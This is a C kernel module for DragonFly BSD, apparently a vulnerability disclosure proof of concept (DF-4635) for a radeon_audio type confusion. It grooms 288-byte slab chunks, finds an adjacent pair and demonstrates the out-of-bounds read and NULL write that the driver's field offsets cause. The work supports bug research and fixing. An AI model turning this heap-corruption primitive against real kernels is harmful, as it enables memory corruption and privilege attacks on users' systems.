DF-4635 / aflvds.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-4635 - DragonFly slab-primitive demonstration for the radeon_audio * enc_priv type confusion (radeon_encoder_lvds* used as radeon_encoder_atom_dig*). * * The radeon driver path itself needs radeon hardware (absent on this guest), * but this KLD reproduces the EXACT heap geometry and both OOB accesses on the * live DragonFly kernel allocator: * * enc_priv (radeon_encoder_lvds*, sizeof == 280 -> kmalloc chunk 288) * dig->afmt @ offsetof(radeon_encoder_atom_dig, afmt) == 288 = victim+0 * dig->pin @ offsetof(radeon_encoder_atom_dig, pin) == 296 = victim+8 * * (offsets proven by radeon_audio_offsets.c, compiled from the guest's own * /usr/src/sys struct definitions) * * What this module does (all allocations are its own, so nothing can crash): * 1. kmallocs 8192 objects of size 280 (the 288-byte slab zone chunk size, * verified via kmalloc_usable_size) and fills them with 0xCC. * 2. finds an adjacent pair A,B (B == A + 288). * 3. READ *(void **)(A + 296) -> returns 0xCC.. (this is the garbage * "struct r600_audio_pin *" the driver passes to dce6_audio_enable -> * WREG32_ENDPOINT(pin->offset, ...) = wild deref). * 4. WRITE *(void **)(A + 296) = 0 (driver does dig->pin = NULL on every * eDP detect disconnect path) -> victim B's bytes [8..16) are zeroed. */ #include <sys/types.h> #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <string.h> #define NALLOC 8192 #define LVDS_SIZE 280 /* sizeof(struct radeon_encoder_lvds) */ #define CHUNK_SIZE 288 /* zoneindex: (280+31)&~31 */ #define PIN_OFF 296 /* offsetof(atom_dig, pin) == 296 */ #define AFMT_OFF 288 /* offsetof(atom_dig, afmt) == 288 */ static int aflvds_handler(struct module *m, int what, void *arg) { void **v; int i, ai = -1, bi = -1; void *A, *B; uint64_t got; uint64_t *slot; switch (what) { case MOD_LOAD: v = kmalloc(sizeof(void *) * NALLOC, M_TEMP, M_WAITOK | M_ZERO); if (v == NULL) { kprintf("aflvds: alloc table failed\n"); return (ENOMEM); } for (i = 0; i < NALLOC; i++) v[i] = kmalloc(LVDS_SIZE, M_TEMP, M_WAITOK); for (i = 0; i < NALLOC; i++) memset(v[i], 0xCC, LVDS_SIZE); kprintf("aflvds: %d objs of %d bytes; usable chunk = %ju (want %d)\n", NALLOC, LVDS_SIZE, (uintmax_t)kmalloc_usable_size(v[0]), CHUNK_SIZE); /* find physically adjacent pair in the 288-byte zone */ for (ai = 0; ai < NALLOC; ai++) { for (bi = 0; bi < NALLOC; bi++) { if (ai != bi && (uint8_t *)v[bi] == (uint8_t *)v[ai] + CHUNK_SIZE) goto found; } } kprintf("aflvds: no adjacent pair found\n"); for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); return (0); found: A = v[ai]; B = v[bi]; kprintf("aflvds: adjacent pair A=%p B=%p (B-A=%zd want %d)\n", A, B, (ssize_t)((uint8_t *)B - (uint8_t *)A), CHUNK_SIZE); /* --- radeon_audio.c:475 if (!dig->pin) (OOB READ at A+296) --- */ slot = (uint64_t *)((uint8_t *)A + PIN_OFF); got = *slot; /* == victim B's bytes [8..16) */ kprintf("aflvds: OOB READ *(A+296) [dig->pin] = 0x%016jx " "(garbage 'pin' fed to WREG32_ENDPOINT(pin->offset,...))\n", (uintmax_t)got); /* --- radeon_audio.c:480 dig->pin = NULL (OOB WRITE at A+296) --- */ *slot = 0; kprintf("aflvds: OOB WRITE *(A+296) = NULL -> victim[8..16) = " "0x%016jx (was 0xcccccccccccccccc)\n", (uintmax_t)*(uint64_t *)((uint8_t *)B + 8)); /* --- radeon_audio.c:638 dig->afmt read is at A+288 == victim+0 --- */ kprintf("aflvds: OOB READ *(A+288) [dig->afmt] = 0x%016jx " "(victim[0..8) read as 'afmt' pointer)\n", (uintmax_t)*(uint64_t *)((uint8_t *)A + AFMT_OFF)); kprintf("aflvds: PRIMITIVE PROVEN: enc_priv+288/+296 alias the " "ADJACENT slab chunk on this kernel\n"); for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); return (0); default: return (EOPNOTSUPP); } } static moduledata_t aflvds_mod = { "aflvds", aflvds_handler, NULL }; DECLARE_MODULE(aflvds, aflvds_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |